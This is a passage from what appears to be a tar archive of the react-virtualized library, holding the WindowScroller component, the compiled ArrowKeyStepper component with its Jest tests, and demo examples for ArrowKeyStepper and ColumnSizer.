  isScrolling: boolean,
  scrollLeft: number,
  scrollTop: number,
};

type ResizeHandler = (element: Element, onResize: () => void) => void;

type DetectElementResize = {
  addResizeListener: ResizeHandler,
  removeResizeListener: ResizeHandler,
};

/**
 * Specifies the number of miliseconds during which to disable pointer events while a scroll is in progress.
 * This improves performance and makes scrolling smoother.
 */
export const IS_SCROLLING_TIMEOUT = 150;

const getWindow = () => (typeof window !== 'undefined' ? window : undefined);

export default class WindowScroller extends React.PureComponent<Props, State> {
  static defaultProps = {
    onResize: () => {},
    onScroll: () => {},
    scrollingResetTimeInterval: IS_SCROLLING_TIMEOUT,
    scrollElement: getWindow(),
    serverHeight: 0,
    serverWidth: 0,
  };

  _window = getWindow();
  _isMounted = false;
  _positionFromTop = 0;
  _positionFromLeft = 0;
  _detectElementResize: DetectElementResize;
  _child: ?Element;

  state = {
    ...getDimensions(this.props.scrollElement, this.props),
    isScrolling: false,
    scrollLeft: 0,
    scrollTop: 0,
  };

  updatePosition(scrollElement: ?Element = this.props.scrollElement) {
    const {onResize} = this.props;
    const {height, width} = this.state;

    const thisNode = this._child || ReactDOM.findDOMNode(this);
    if (thisNode instanceof Element && scrollElement) {
      const offset = getPositionOffset(thisNode, scrollElement);
      this._positionFromTop = offset.top;
      this._positionFromLeft = offset.left;
    }

    const dimensions = getDimensions(scrollElement, this.props);
    if (height !== dimensions.height || width !== dimensions.width) {
      this.setState({
        height: dimensions.height,
        width: dimensions.width,
      });
      onResize({
        height: dimensions.height,
        width: dimensions.width,
      });
    }
  }

  componentDidMount() {
    const scrollElement = this.props.scrollElement;

    this._detectElementResize = createDetectElementResize();

    this.updatePosition(scrollElement);

    if (scrollElement) {
      registerScrollListener(this, scrollElement);
      this._registerResizeListener(scrollElement);
    }

    this._isMounted = true;
  }

  componentDidUpdate(prevProps: Props, prevState: State) {
    const {scrollElement} = this.props;
    const {scrollElement: prevScrollElement} = prevProps;

    if (
      prevScrollElement !== scrollElement &&
      prevScrollElement != null &&
      scrollElement != null
    ) {
      this.updatePosition(scrollElement);

      unregisterScrollListener(this, prevScrollElement);
      registerScrollListener(this, scrollElement);

      this._unregisterResizeListener(prevScrollElement);
      this._registerResizeListener(scrollElement);
    }
  }

  componentWillUnmount() {
    const scrollElement = this.props.scrollElement;
    if (scrollElement) {
      unregisterScrollListener(this, scrollElement);
      this._unregisterResizeListener(scrollElement);
    }

    this._isMounted = false;
  }

  render() {
    const {children} = this.props;
    const {isScrolling, scrollTop, scrollLeft, height, width} = this.state;

    return children({
      onChildScroll: this._onChildScroll,
      registerChild: this._registerChild,
      height,
      isScrolling,
      scrollLeft,
      scrollTop,
      width,
    });
  }

  _registerChild = element => {
    if (element && !(element instanceof Element)) {
      console.warn(
        'WindowScroller registerChild expects to be passed Element or null',
      );
    }
    this._child = element;
    this.updatePosition();
  };

  _onChildScroll = ({scrollTop}) => {
    if (this.state.scrollTop === scrollTop) {
      return;
    }

    const scrollElement = this.props.scrollElement;
    if (scrollElement) {
      if (typeof scrollElement.scrollTo === 'function') {
        scrollElement.scrollTo(0, scrollTop + this._positionFromTop);
      } else {
        scrollElement.scrollTop = scrollTop + this._positionFromTop;
      }
    }
  };

  _registerResizeListener = element => {
    if (element === window) {
      window.addEventListener('resize', this._onResize, false);
    } else {
      this._detectElementResize.addResizeListener(element, this._onResize);
    }
  };

  _unregisterResizeListener = element => {
    if (element === window) {
      window.removeEventListener('resize', this._onResize, false);
    } else if (element) {
      this._detectElementResize.removeResizeListener(element, this._onResize);
    }
  };

  _onResize = () => {
    this.updatePosition();
  };

  // Referenced by utils/onScroll
  __handleWindowScrollEvent = () => {
    if (!this._isMounted) {
      return;
    }

    const {onScroll} = this.props;

    const scrollElement = this.props.scrollElement;
    if (scrollElement) {
      const scrollOffset = getScrollOffset(scrollElement);
      const scrollLeft = Math.max(
        0,
        scrollOffset.left - this._positionFromLeft,
      );
      const scrollTop = Math.max(0, scrollOffset.top - this._positionFromTop);

      this.setState({
        isScrolling: true,
        scrollLeft,
        scrollTop,
      });

      onScroll({
        scrollLeft,
        scrollTop,
      });
    }
  };

  // Referenced by utils/onScroll
  __resetIsScrolling = () => {
    this.setState({
      isScrolling: false,
    });
  };
}
es/ArrowKeyStepper/types.js000064400000000403151677406010011767 0ustar00var bpfrpt_proptype_ScrollIndices = process.env.NODE_ENV === 'production' ? null : {
  "scrollToColumn": PropTypes.number.isRequired,
  "scrollToRow": PropTypes.number.isRequired
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_ScrollIndices };es/ArrowKeyStepper/ArrowKeyStepper.jest.js000064400000023136151677406010014705 0ustar00import _extends from "@babel/runtime/helpers/extends";
import * as React from 'react';
import { findDOMNode } from 'react-dom';
import { render } from '../TestUtils';
import ArrowKeyStepper from './ArrowKeyStepper';
import { Simulate } from 'react-dom/test-utils';

function renderTextContent(scrollToColumn, scrollToRow) {
  return "scrollToColumn:".concat(scrollToColumn, ", scrollToRow:").concat(scrollToRow);
}

function ChildComponent(_ref) {
  var scrollToColumn = _ref.scrollToColumn,
      scrollToRow = _ref.scrollToRow;
  return React.createElement("div", null, renderTextContent(scrollToColumn, scrollToRow));
}

describe('ArrowKeyStepper', function () {
  function renderHelper() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var onSectionRenderedCallback;
    var component = render(React.createElement(ArrowKeyStepper, _extends({
      columnCount: 10,
      mode: "edges",
      rowCount: 10
    }, props), function (_ref2) {
      var onSectionRendered = _ref2.onSectionRendered,
          scrollToColumn = _ref2.scrollToColumn,
          scrollToRow = _ref2.scrollToRow;
      onSectionRenderedCallback = onSectionRendered;
      return React.createElement(ChildComponent, {
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      });
    }));
    var node = findDOMNode(component);
    return {
      component: component,
      node: node,
      onSectionRendered: onSectionRenderedCallback
    };
  }

  function assertCurrentScrollTo(node, scrollToColumn, scrollToRow) {
    expect(node.textContent).toEqual(renderTextContent(scrollToColumn, scrollToRow));
  }

  it('should use a custom :className if one is specified', function () {
    var _renderHelper = renderHelper({
      className: 'foo'
    }),
        node = _renderHelper.node;

    expect(node.className).toEqual('foo');
  });
  it('should update :scrollToColumn and :scrollToRow in response to arrow keys', function () {
    var _renderHelper2 = renderHelper(),
        node = _renderHelper2.node;

    assertCurrentScrollTo(node, 0, 0);
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 0, 1);
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 1, 1);
    Simulate.keyDown(node, {
      key: 'ArrowUp'
    });
    assertCurrentScrollTo(node, 1, 0);
    Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });
    assertCurrentScrollTo(node, 0, 0);
  });
  it('should not scroll past the row and column boundaries provided', function () {
    var _renderHelper3 = renderHelper({
      columnCount: 2,
      rowCount: 2
    }),
        node = _renderHelper3.node;

    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 0, 1);
    Simulate.keyDown(node, {
      key: 'ArrowUp'
    });
    Simulate.keyDown(node, {
      key: 'ArrowUp'
    });
    Simulate.keyDown(node, {
      key: 'ArrowUp'
    });
    assertCurrentScrollTo(node, 0, 0);
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 1, 0);
    Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });
    Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });
    Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });
    assertCurrentScrollTo(node, 0, 0);
  });
  it('should accept initial :scrollToColumn and :scrollToRow values via props', function () {
    var _renderHelper4 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        node = _renderHelper4.node;

    assertCurrentScrollTo(node, 2, 4);
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 2, 5);
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 3, 5);
  });
  it('should accept updated :scrollToColumn and :scrollToRow values via props', function () {
    var _renderHelper5 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        node = _renderHelper5.node;

    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 2, 5);
    renderHelper({
      mode: 'cells',
      scrollToColumn: 1,
      scrollToRow: 1
    });
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 2, 1);
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 2, 2);
  });
  it('should accept updated :scrollToColumn and :scrollToRow values via setScrollIndexes()', function () {
    var _renderHelper6 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        component = _renderHelper6.component,
        node = _renderHelper6.node;

    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 2, 5);
    component.setScrollIndexes({
      scrollToColumn: 1,
      scrollToRow: 1
    });
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 2, 1);
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 2, 2);
  });
  it('should not update :scrollToColumn or :scrollToRow when :disabled', function () {
    var _renderHelper7 = renderHelper({
      disabled: true
    }),
        node = _renderHelper7.node;

    assertCurrentScrollTo(node, 0, 0);
    Simulate.keyDown(node, {
      key: 'ArrowDown'
    });
    assertCurrentScrollTo(node, 0, 0);
    Simulate.keyDown(node, {
      key: 'ArrowRight'
    });
    assertCurrentScrollTo(node, 0, 0);
  });
  it('should call :onScrollToChange for key down', function () {
    [true, false].forEach(function () {
      var onScrollToChange = jest.fn();

      var _renderHelper8 = renderHelper({
        isControlled: true,
        onScrollToChange: onScrollToChange
      }),
          node = _renderHelper8.node;

      expect(onScrollToChange.mock.calls).toHaveLength(0);
      Simulate.keyDown(node, {
        key: 'ArrowDown'
      });
      expect(onScrollToChange.mock.calls).toHaveLength(1);
      var _onScrollToChange$moc = onScrollToChange.mock.calls[0][0],
          scrollToColumn = _onScrollToChange$moc.scrollToColumn,
          scrollToRow = _onScrollToChange$moc.scrollToRow;
      expect(scrollToColumn).toEqual(0);
      expect(scrollToRow).toEqual(1);
    });
  });
  it('should not call :onScrollToChange for prop update', function () {
    var numCalls = 0;

    var onScrollToChange = function onScrollToChange() {
      numCalls++;
    };

    var _renderHelper9 = renderHelper({
      onScrollToChange: onScrollToChange,
      scrollToColumn: 0,
      scrollToRow: 0
    }),
        node = _renderHelper9.node;

    renderHelper({
      isControlled: true,
      onScrollToChange: onScrollToChange,
      node: node,
      scrollToColumn: 0,
      scrollToRow: 1
    });
    expect(numCalls).toEqual(0);
  });
  describe('mode === "edges"', function () {
    it('should update :scrollToColumn and :scrollToRow relative to the most recent :onSectionRendered event', function () {
      var _renderHelper10 = renderHelper(),
          node = _renderHelper10.node,
          onSectionRendered = _renderHelper10.onSectionRendered;

      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 0,
        columnStopIndex: 4,
        rowStartIndex: 4,
        rowStopIndex: 6
      });
      Simulate.keyDown(node, {
        key: 'ArrowDown'
      });
      assertCurrentScrollTo(node, 0, 7);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 5,
        columnStopIndex: 10,
        rowStartIndex: 2,
        rowStopIndex: 4
      });
      Simulate.keyDown(node, {
        key: 'ArrowUp'
      });
      assertCurrentScrollTo(node, 0, 1);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 4,
        columnStopIndex: 8,
        rowStartIndex: 5,
        rowStopIndex: 10
      });
      Simulate.keyDown(node, {
        key: 'ArrowRight'
      });
      assertCurrentScrollTo(node, 9, 1);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 2,
        columnStopIndex: 4,
        rowStartIndex: 2,
        rowStopIndex: 4
      });
      Simulate.keyDown(node, {
        key: 'ArrowLeft'
      });
      assertCurrentScrollTo(node, 1, 1);
    });
  });
  describe('mode === "cells"', function () {
    it('should update :scrollToColumn and :scrollToRow relative to the most recent :onSectionRendered event', function () {
      var _renderHelper11 = renderHelper({
        mode: 'cells',
        scrollToColumn: 5,
        scrollToRow: 5
      }),
          node = _renderHelper11.node,
          onSectionRendered = _renderHelper11.onSectionRendered;

      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 10,
        columnStopIndex: 10,
        rowStartIndex: 15,
        rowStopIndex: 15
      });
      Simulate.keyDown(node, {
        key: 'ArrowUp'
      });
      assertCurrentScrollTo(node, 5, 4);
      Simulate.keyDown(node, {
        key: 'ArrowDown'
      });
      assertCurrentScrollTo(node, 5, 5);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 10,
        columnStopIndex: 10,
        rowStartIndex: 15,
        rowStopIndex: 15
      });
      Simulate.keyDown(node, {
        key: 'ArrowRight'
      });
      assertCurrentScrollTo(node, 6, 5);
      Simulate.keyDown(node, {
        key: 'ArrowLeft'
      });
      assertCurrentScrollTo(node, 5, 5);
    });
  });
});es/ArrowKeyStepper/index.js000064400000000317151677406010011736 0ustar00export { default } from './ArrowKeyStepper';
export { default as ArrowKeyStepper } from './ArrowKeyStepper';
import { bpfrpt_proptype_ScrollIndices } from "./types";
export { bpfrpt_proptype_ScrollIndices };es/ArrowKeyStepper/ArrowKeyStepper.js000064400000020317151677406010013737 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

import * as React from 'react';
import { polyfill } from 'react-lifecycles-compat';
/**
 * This HOC decorates a virtualized component and responds to arrow-key events by scrolling one row or column at a time.
 */

var ArrowKeyStepper = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ArrowKeyStepper, _React$PureComponent);

  function ArrowKeyStepper() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, ArrowKeyStepper);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(ArrowKeyStepper)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      scrollToColumn: 0,
      scrollToRow: 0,
      instanceProps: {
        prevScrollToColumn: 0,
        prevScrollToRow: 0
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_columnStartIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_columnStopIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_rowStartIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_rowStopIndex", 0);

    _defineProperty(_assertThisInitialized(_this), "_onKeyDown", function (event) {
      var _this$props = _this.props,
          columnCount = _this$props.columnCount,
          disabled = _this$props.disabled,
          mode = _this$props.mode,
          rowCount = _this$props.rowCount;

      if (disabled) {
        return;
      }

      var _this$_getScrollState = _this._getScrollState(),
          scrollToColumnPrevious = _this$_getScrollState.scrollToColumn,
          scrollToRowPrevious = _this$_getScrollState.scrollToRow;

      var _this$_getScrollState2 = _this._getScrollState(),
          scrollToColumn = _this$_getScrollState2.scrollToColumn,
          scrollToRow = _this$_getScrollState2.scrollToRow; // The above cases all prevent default event event behavior.
      // This is to keep the grid from scrolling after the snap-to update.


      switch (event.key) {
        case 'ArrowDown':
          scrollToRow = mode === 'cells' ? Math.min(scrollToRow + 1, rowCount - 1) : Math.min(_this._rowStopIndex + 1, rowCount - 1);
          break;

        case 'ArrowLeft':
          scrollToColumn = mode === 'cells' ? Math.max(scrollToColumn - 1, 0) : Math.max(_this._columnStartIndex - 1, 0);
          break;

        case 'ArrowRight':
          scrollToColumn = mode === 'cells' ? Math.min(scrollToColumn + 1, columnCount - 1) : Math.min(_this._columnStopIndex + 1, columnCount - 1);
          break;

        case 'ArrowUp':
          scrollToRow = mode === 'cells' ? Math.max(scrollToRow - 1, 0) : Math.max(_this._rowStartIndex - 1, 0);
          break;
      }

      if (scrollToColumn !== scrollToColumnPrevious || scrollToRow !== scrollToRowPrevious) {
        event.preventDefault();

        _this._updateScrollState({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }
    });

    _defineProperty(_assertThisInitialized(_this), "_onSectionRendered", function (_ref) {
      var columnStartIndex = _ref.columnStartIndex,
          columnStopIndex = _ref.columnStopIndex,
          rowStartIndex = _ref.rowStartIndex,
          rowStopIndex = _ref.rowStopIndex;
      _this._columnStartIndex = columnStartIndex;
      _this._columnStopIndex = columnStopIndex;
      _this._rowStartIndex = rowStartIndex;
      _this._rowStopIndex = rowStopIndex;
    });

    return _this;
  }

  _createClass(ArrowKeyStepper, [{
    key: "setScrollIndexes",
    value: function setScrollIndexes(_ref2) {
      var scrollToColumn = _ref2.scrollToColumn,
          scrollToRow = _ref2.scrollToRow;
      this.setState({
        scrollToRow: scrollToRow,
        scrollToColumn: scrollToColumn
      });
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          className = _this$props2.className,
          children = _this$props2.children;

      var _this$_getScrollState3 = this._getScrollState(),
          scrollToColumn = _this$_getScrollState3.scrollToColumn,
          scrollToRow = _this$_getScrollState3.scrollToRow;

      return React.createElement("div", {
        className: className,
        onKeyDown: this._onKeyDown
      }, children({
        onSectionRendered: this._onSectionRendered,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      }));
    }
  }, {
    key: "_getScrollState",
    value: function _getScrollState() {
      return this.props.isControlled ? this.props : this.state;
    }
  }, {
    key: "_updateScrollState",
    value: function _updateScrollState(_ref3) {
      var scrollToColumn = _ref3.scrollToColumn,
          scrollToRow = _ref3.scrollToRow;
      var _this$props3 = this.props,
          isControlled = _this$props3.isControlled,
          onScrollToChange = _this$props3.onScrollToChange;

      if (typeof onScrollToChange === 'function') {
        onScrollToChange({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }

      if (!isControlled) {
        this.setState({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.isControlled) {
        return {};
      }

      if (nextProps.scrollToColumn !== prevState.instanceProps.prevScrollToColumn || nextProps.scrollToRow !== prevState.instanceProps.prevScrollToRow) {
        return _objectSpread({}, prevState, {
          scrollToColumn: nextProps.scrollToColumn,
          scrollToRow: nextProps.scrollToRow,
          instanceProps: {
            prevScrollToColumn: nextProps.scrollToColumn,
            prevScrollToRow: nextProps.scrollToRow
          }
        });
      }

      return {};
    }
  }]);

  return ArrowKeyStepper;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "children": PropTypes.func.isRequired,
  "className": PropTypes.string,
  "columnCount": PropTypes.number.isRequired,
  "disabled": PropTypes.bool.isRequired,
  "isControlled": PropTypes.bool.isRequired,
  "mode": PropTypes.oneOf(["cells", "edges"]).isRequired,
  "onScrollToChange": PropTypes.func,
  "rowCount": PropTypes.number.isRequired,
  "scrollToColumn": PropTypes.number.isRequired,
  "scrollToRow": PropTypes.number.isRequired
}), _temp);

_defineProperty(ArrowKeyStepper, "defaultProps", {
  disabled: false,
  isControlled: false,
  mode: 'edges',
  scrollToColumn: 0,
  scrollToRow: 0
});

polyfill(ArrowKeyStepper);
export default ArrowKeyStepper;
import { bpfrpt_proptype_RenderedSection } from "../Grid";
import { bpfrpt_proptype_ScrollIndices } from "./types";
import PropTypes from "prop-types";es/ArrowKeyStepper/ArrowKeyStepper.example.js000064400000017741151677406010015400 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";

var _class, _temp;

import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import ArrowKeyStepper from './';
import AutoSizer from '../AutoSizer';
import Grid from '../Grid';
import clsx from 'clsx';
import styles from './ArrowKeyStepper.example.css';
var ArrowKeyStepperExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ArrowKeyStepperExample, _React$PureComponent);

  function ArrowKeyStepperExample() {
    var _getPrototypeOf2;

    var _this;

    _classCallCheck(this, ArrowKeyStepperExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(ArrowKeyStepperExample)).call.apply(_getPrototypeOf2, [this].concat(args)));

    _defineProperty(_assertThisInitialized(_this), "state", {
      mode: 'edges',
      isClickable: true,
      scrollToColumn: 0,
      scrollToRow: 0
    });

    _defineProperty(_assertThisInitialized(_this), "_getColumnWidth", function (_ref) {
      var index = _ref.index;
      return (1 + index % 3) * 60;
    });

    _defineProperty(_assertThisInitialized(_this), "_getRowHeight", function (_ref2) {
      var index = _ref2.index;
      return (1 + index % 3) * 30;
    });

    _defineProperty(_assertThisInitialized(_this), "_cellRenderer", function (_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          scrollToColumn = _ref3.scrollToColumn,
          scrollToRow = _ref3.scrollToRow,
          style = _ref3.style;
      var className = clsx(styles.Cell, _defineProperty({}, styles.FocusedCell, columnIndex === scrollToColumn && rowIndex === scrollToRow));
      return React.createElement("span", {
        role: "none",
        className: className,
        key: key,
        onClick: _this.state.isClickable && function () {
          return _this._selectCell({
            scrollToColumn: columnIndex,
            scrollToRow: rowIndex
          });
        },
        style: style
      }, "r:".concat(rowIndex, ", c:").concat(columnIndex));
    });

    _defineProperty(_assertThisInitialized(_this), "_selectCell", function (_ref4) {
      var scrollToColumn = _ref4.scrollToColumn,
          scrollToRow = _ref4.scrollToRow;

      _this.setState({
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      });
    });

    _defineProperty(_assertThisInitialized(_this), "_onClickableChange", function (event) {
      if (event.target instanceof HTMLInputElement) {
        _this.setState({
          isClickable: event.target.checked,
          scrollToColumn: 0,
          scrollToRow: 0
        });
      }
    });

    return _this;
  }

  _createClass(ArrowKeyStepperExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          mode = _this$state.mode,
          isClickable = _this$state.isClickable,
          scrollToColumn = _this$state.scrollToColumn,
          scrollToRow = _this$state.scrollToRow;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "ArrowKeyStepper",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ArrowKeyStepper/ArrowKeyStepper.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ArrowKeyStepper.md"
      }), React.createElement(ContentBoxParagraph, null, "This high-order component decorates a ", React.createElement("code", null, "List"), ",", ' ', React.createElement("code", null, "Table"), ", or ", React.createElement("code", null, "Grid"), " and responds to arrow-key events by scrolling one row or column at a time. Focus in the `Grid` below and use the left, right, up, or down arrow keys to move around within the grid."), React.createElement(ContentBoxParagraph, null, "Note that unlike the other HOCs in react-virtualized, the", ' ', React.createElement("code", null, "ArrowKeyStepper"), " adds a ", React.createElement("code", null, "<div>"), " element around its children in order to attach a key-down event handler."), React.createElement(ContentBoxParagraph, null, React.createElement("strong", null, "mode"), ":", React.createElement("label", null, React.createElement("input", {
        "aria-label": "Set mode equal to \"cells\"",
        checked: mode === 'cells',
        className: styles.Radio,
        type: "radio",
        onChange: function onChange(event) {
          return event.target.checked && _this2.setState({
            mode: 'cells'
          });
        },
        value: "cells"
      }), "cells"), React.createElement("label", null, React.createElement("input", {
        "aria-label": "Set mode equal to \"edges\"",
        checked: mode === 'edges',
        className: styles.Radio,
        type: "radio",
        onChange: function onChange(event) {
          return event.target.checked && _this2.setState({
            mode: 'edges'
          });
        },
        value: "edges"
      }), "edges (default)")), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Enable click selection? (resets selection)",
        className: styles.checkbox,
        type: "checkbox",
        checked: isClickable,
        onChange: this._onClickableChange
      }), "Enable click selection? (resets selection)")), React.createElement(ArrowKeyStepper, {
        columnCount: 100,
        isControlled: isClickable,
        onScrollToChange: isClickable ? this._selectCell : undefined,
        mode: mode,
        rowCount: 100,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      }, function (_ref5) {
        var onSectionRendered = _ref5.onSectionRendered,
            scrollToColumn = _ref5.scrollToColumn,
            scrollToRow = _ref5.scrollToRow;
        return React.createElement("div", null, React.createElement(ContentBoxParagraph, null, "Most-recently-stepped column: ".concat(scrollToColumn, ", row: ").concat(scrollToRow)), React.createElement(AutoSizer, {
          disableHeight: true
        }, function (_ref6) {
          var width = _ref6.width;
          return React.createElement(Grid, {
            className: styles.Grid,
            columnWidth: _this2._getColumnWidth,
            columnCount: 100,
            height: 200,
            onSectionRendered: onSectionRendered,
            cellRenderer: function cellRenderer(_ref7) {
              var columnIndex = _ref7.columnIndex,
                  key = _ref7.key,
                  rowIndex = _ref7.rowIndex,
                  style = _ref7.style;
              return _this2._cellRenderer({
                columnIndex: columnIndex,
                key: key,
                rowIndex: rowIndex,
                scrollToColumn: scrollToColumn,
                scrollToRow: scrollToRow,
                style: style
              });
            },
            rowHeight: _this2._getRowHeight,
            rowCount: 100,
            scrollToColumn: scrollToColumn,
            scrollToRow: scrollToRow,
            width: width
          });
        }));
      }));
    }
  }]);

  return ArrowKeyStepperExample;
}(React.PureComponent), _defineProperty(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);
export { ArrowKeyStepperExample as default };
import { bpfrpt_proptype_ScrollIndices } from "./";es/ColumnSizer/ColumnSizer.example.js000064400000013671151677406010013706 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import * as React from 'react';
import styles from './ColumnSizer.example.css';
import AutoSizer from '../AutoSizer';
import ColumnSizer from './ColumnSizer';
import Grid from '../Grid';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';

var ColumnSizerExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ColumnSizerExample, _React$PureComponent);

  function ColumnSizerExample(props) {
    var _this;

    _classCallCheck(this, ColumnSizerExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(ColumnSizerExample).call(this, props));
    _this.state = {
      columnMaxWidth: 100,
      columnMinWidth: 75,
      columnCount: 10
    };
    _this._noColumnMaxWidthChange = _this._noColumnMaxWidthChange.bind(_assertThisInitialized(_this));
    _this._noColumnMinWidthChange = _this._noColumnMinWidthChange.bind(_assertThisInitialized(_this));
    _this._onColumnCountChange = _this._onColumnCountChange.bind(_assertThisInitialized(_this));
    _this._noContentRenderer = _this._noContentRenderer.bind(_assertThisInitialized(_this));
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(ColumnSizerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnMaxWidth = _this$state.columnMaxWidth,
          columnMinWidth = _this$state.columnMinWidth,
          columnCount = _this$state.columnCount;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "ColumnSizer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ColumnSizer/ColumnSizer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ColumnSizer.md"
